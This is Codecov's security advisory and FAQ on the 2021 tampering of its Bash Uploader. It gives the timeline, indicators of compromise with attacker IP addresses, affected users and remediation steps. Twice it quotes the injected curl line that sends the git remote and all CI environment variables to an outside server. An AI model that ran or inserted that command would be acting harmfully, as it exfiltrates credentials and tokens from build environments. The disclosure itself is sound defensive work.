Bash Uploader Security Update

Update 4/29/2021 3PM PT: Through our investigation, we now have additional information concerning what environment variables may have been obtained without authorization and how they may have been used. Affected users can view details within the Codecov application.

Additionally, we have posted our most up-to-date set of IOCs below. Note: If you are in the affected user group, at 6 am PT, Thursday, April 15th, we emailed your email address on file from GitHub / GitLab / Bitbucket and added a notification banner in the Codecov application after you log in.

Indicators of Compromise (IOCs)

The modified portion of the bash uploader script was as follows – curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” https://IPADDRESS/upload/v2 || true
The IP Addresses where the data was transmitted to from the bash script above were 178.62.86.114, 104.248.94.23
Between Jan 31 and Apr 1, there were 108 windows of time while the malicious Bash Uploader was affected. We are confident based on our analysis that the only change ever to be made to the bash uploader was the change above.
We have recently obtained a non-exhaustive, redacted set of environment variables that we have evidence were compromised. We also have evidence on how these compromised variables may have been used. Please log-in to Codecov as soon as possible to see if you are in this affected population.

Known IPs In Scope:

The originating IPs used to modify the bash script itself:

79.135.72.34

The destination IPs. These are IP addresses where the data was transmitted to from the bash script (these IPs were used in the curl call on line 525 above):

178.62.86.114,
104.248.94.23

Other IP addresses identified in our investigation, likely related to the threat actor and associated accounts:

185.211.156.78
91.194.227.*

Other IPs that may be related to this incident (not confirmed by Codecov):

5.189.73.*
218.92.0.247
122.228.19.79
106.107.253.89
185.71.67.56
45.146.164.164
118.24.150.193
37.203.243.207
185.27.192.99

About the Event

Codecov takes the security of its systems and data very seriously and we have implemented numerous safeguards to protect you. On Thursday, April 1, 2021, we learned that someone had gained unauthorized access to our Bash Uploader script and modified it without our permission. The actor gained access because of an error in Codecov’s Docker image creation process that allowed the actor to extract the credential required to modify our Bash Uploader script.

Immediately upon becoming aware of the issue, Codecov secured and remediated the affected script and began investigating any potential impact on users. A third-party forensic firm has been engaged to assist us in this analysis. We have reported this matter to law enforcement and are fully cooperating with their investigation.

Our investigation has determined that beginning January 31, 2021, there were periodic, unauthorized alterations of our Bash Uploader script by a third party, which enabled them to potentially export information stored in our users’ continuous integration (CI) environments. This information was then sent to a third-party server outside of Codecov’s infrastructure.

The Bash Uploader is also used in these related uploaders: Codecov-actions uploader for Github, the Codecov CircleCl Orb, and the Codecov Bitrise Step (together, the “Bash Uploaders”). Therefore, these related uploaders were also impacted by this event.

Any credentials, tokens, or keys that our customers were passing through their CI runner that would be accessible when the Bash Uploader script was executed.
Any services, datastores, and application code that could be accessed with these credentials, tokens, or keys.
The git remote information (URL of the origin repository) of repositories using the Bash Uploaders to upload coverage to Codecov in CI.

Recommend Actions for Affected Users

Because of our commitment to trust and transparency, we have worked diligently to determine the potential impact to our customers and identify customers who may have used the Bash Uploaders during the relevant time periods. For affected users, we have emailed you on April 15th using you email address on file from Github / Gitlab / Bitbucket, and there is a notification banner after you log in to Codecov.

You can determine the keys and tokens that are surfaced to your CI environment by running the env command in your CI pipeline. If anything returned from that command is considered private or sensitive, we strongly recommend invalidating the credential and generating a new one. Additionally, we would recommend that you audit the use of these tokens in your system.

Specifically, the bash script was altered as follows: curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” https://<redacted>/upload/v2 || true Note that the IP address of the third party server has been redacted as it is currently part of an ongoing federal investigation

Additionally, if you use a locally stored version of a Bash Uploader, you should check that version for the following:

If this appears anywhere in your locally stored Bash Uploader, you should immediately replace the bash files with the most recent version from https://codecov.io/bash.

If you use a self-hosted (on-premises) version of Codecov, it is very unlikely you are impacted. To be impacted, your CI pipeline would need to be fetching the Bash Uploader from https://codecov.io/bash instead of from your self-hosted Codecov installation. You can verify from where you are fetching the Bash Uploader by looking at your CI pipeline configuration.

If you conducted a checksum comparison before using our Bash Uploaders as part of your CI processes, this issue may not impact you.

Actions Taken by Codecov

rotating all relevant internal credentials, including the key used to facilitate the modification of the Bash Uploader;
auditing where and how the key was accessible;
setting up monitoring and auditing tools to ensure that this kind of unintended change cannot occur to the Bash Uploader again; and
working with the hosting provider of the third-party server to ensure the malicious webserver was properly decommissioned.

Codecov maintains a variety of information security policies, procedures, practices, and controls. We continually monitor our network and systems for unusual activity, but Codecov, like any other company, is not immune to this type of event. We are also working to further enhance security so we can stay ahead of this type of activity, including reinforcing our security tools, policies, and procedures.

We will continue to share with you as much information as we are able and encourage you to reach out to us with any questions or concerns you have at security@codecov.io.

We value the trust you place in us and our solutions and pledge to continuously work to earn it. We regret any inconvenience this may cause and are committed to minimizing any potential impact on you, our users and customers.

Sincerely,
Jerrod Engelberg
CEO, Codecov

FAQs

What is the Codecov Bash Uploader? Expand

The Codecov Bash Uploader provides a framework and language-agnostic method for sending your coverage reports to Codecov. The main objectives of the uploader are to detect CI specific settings in the environment, gather reports, and upload this information to Codecov. You may learn more about bash uploader here.

In the case of some third party integrations, the bash uploader is used to provide the core upload functionality needed to properly integrate with Codecov. These uploaders include:

Codecov-action for Codecov Github Action
Codecov-circleci-orb for the Codecov Circle Orb
Codecov-bitrise-step for the Bitrise Step

All other supported uploaders, such as codecov-ruby, Codecov’s node uploader npm package, etc., use community contributed upload implementations that do not utilize the bash uploader.

How did Codecov learn of this event? Expand

A customer reported this to us on the morning of April 1, 2021. This customer was using the shasum that is available on our Bash Uploader to confirm the integrity of the uploader fetched from https://codecov.io/bash.

Once the customer saw a discrepancy between the shasum on Github and the shasum calculated from the downloaded Bash Uploader, they reported the issue to us, which prompted our investigation.

When did this event occur? Expand

Based upon the forensic investigation results to date, it appears that there was periodic, unauthorized access to a Google Cloud Storage (GCS) key beginning January 31, 2021, which allowed a malicious third-party to alter a version of our bash uploader script to potentially export information subject to continuous integration (CI) to a third-party server. Codecov secured and remediated the script April 1, 2021.

Who was responsible for this event? Expand

We have not been able to determine conclusively who carried out the event. We are working with law enforcement and have offered our full cooperation with their investigation.

What types of information was accessed during this event? Expand

The altered version of the bash uploader script could potentially affect:

Any credentials, tokens, or keys that our customers were passing through their CI runner that would be accessible when the bash uploader script was executed.
Any services, datastores, and application code that could be accessed with these credentials, tokens, or keys.
The git remote information (URL of the origin repository) of repositories using the bash uploader to upload coverage to Codecov in CI.

Have you notified the appropriate authorities? Expand

Yes. We have reported this matter to law enforcement and are fully cooperating with their investigation.

Why did you not disclose this event sooner? Expand

Since discovering the event, Codecov has been conducting an investigation with forensics experts to understand what happened and any potential impact on users. These investigations are complex, and we are working to learn what happened and what data was impacted. We took care and time to be able to obtain and deliver accurate information.

I didn’t receive a communication from Codecov. Was I not affected? Expand

You may not have been affected. We have contacted users for whom we had email accounts and posted a notification in the app.

Out of an abundance of caution, if you used the Bash Uploaders between January 31, 2021 and April 1, 2021 and did not conduct a checksum validation of the Bash Uploader, we would suggest you re-roll all of your credentials, tokens, or keys located in the environment variables in your CI process.

Additionally, if customers use a locally stored version of the bash uploader, they should check that version for the following:

If this appears anywhere in your locally stored bash uploader, you should immediately replace the bash files with the most recent version from https://codecov.io/bash.

Lastly, if you use a self-hosted (on-premises) version of Codecov, it is very unlikely you are impacted. To be impacted, your CI pipeline would need to be fetching the bash uploader from https://codecov.io/bash instead of from your self-hosted Codecov installation. You can verify from where you are fetching the bash uploader by looking at your CI pipeline configuration.

How do I know if I was impacted by this event? Expand

We are still actively assessing the impact of this event on our customers. We have contacted users for whom we had email accounts and posted a notification in the app.

Out of an abundance of caution, if you used:

Codecov-bash (bash uploader)
Codecov-action (Github)
Codecov-circleci-orb
Codecov-bitrise-step

Between January 31, 2021 and April 1, 2021, and did not conduct a checksum validation, we would suggest you re-roll all of your credentials, tokens, or keys located in the environment variables in your CI process.

Do I need to take action if I was impacted? Expand

Yes. The altered version of the bash uploader script could potentially affect:

Any credentials, tokens, or keys that our customers were passing through their CI runner that would be accessible when the bash uploader script was executed.
Any services, datastores, and application code that could be accessed with these credentials, tokens, or keys.
The git remote information (URL of the origin repository) of repositories using the bash uploader to upload coverage to Codecov in CI.

You should immediately re-roll all of your credentials, tokens, or keys located in the environment variables in your CI process.

You can determine the keys and tokens that are surfaced to your CI environment by running the env command in your CI pipeline. If anything returned from that command is considered private or sensitive, we strongly recommend invalidating the credential and generating a new one. Additionally, we would recommend that you audit the use of these tokens in your system.

Additionally, if you use a locally stored version of the bash uploader, you should check that version for the following:

If this appears anywhere in your locally stored bash uploader, you should immediately replace the base files with the most recent version from https://codecov.io.bash.

How do I know what environment variables of mine may have been available to the actor? Expand

I have multiple repositories using Codecov. How do I know which repositories were affected? Expand

Out of an abundance of caution, look for any repository in your organization(s) that used one of Codecov’s Bash Uploaders from Jan 31, 2021 to April 1, 2021.

If you require further assistance pinpointing potentially impacted repositories, you can contact us at security@codecov.io and we will assist you with this process. How does Codecov plan to support us in regard to this event? Expand

We are making our team available to aid customers during this time. Please do not hesitate to reach out to security@codecov.io and/or your Codecov account manager.

Is it safe to use Codecov systems and services? Expand

Yes. Codecov takes the security of its systems and data very seriously and we have implemented numerous safeguards to protect them.

Codecov maintains a variety of information security policies, procedures, practices, and controls. We continually monitor our network and systems for unusual activity, but Codecov, like any other company, is not immune to this type of event. We have taken a number of steps to address this situation including:

Rotating all credentials, including the key used to facilitate the event;
Auditing where and how the key was accessible;
Setting up monitoring and auditing tools to ensure that this cannot occur to the bash uploader again;
Working with the hosting provider of the third-party server to ensure the malicious webserver was properly decommissioned and auditable for additional information.

We are also working to further enhance security so we can stay ahead of this type of activity, including reinforcing our security tools, policies, and procedures, as well as our security governance and staffing.

I use Codecov’s self-hosted / on-prem offering, could I be impacted? Expand

If you use a self-hosted (on-premises) version of Codecov, it is very unlikely you are impacted. To be impacted, your CI pipeline would need to be fetching the bash uploader from https://codecov.io/bash instead of your self-hosted Codecov installation. You can verify from where you are fetching the bash uploader by looking at your CI pipeline configuration.

How have you addressed the event and what steps have you taken to ensure it will not occur again? Expand

Immediately upon becoming aware of the issue, Codecov secured and remediated the potentially affected script and began investigating the extent to which users may have been impacted.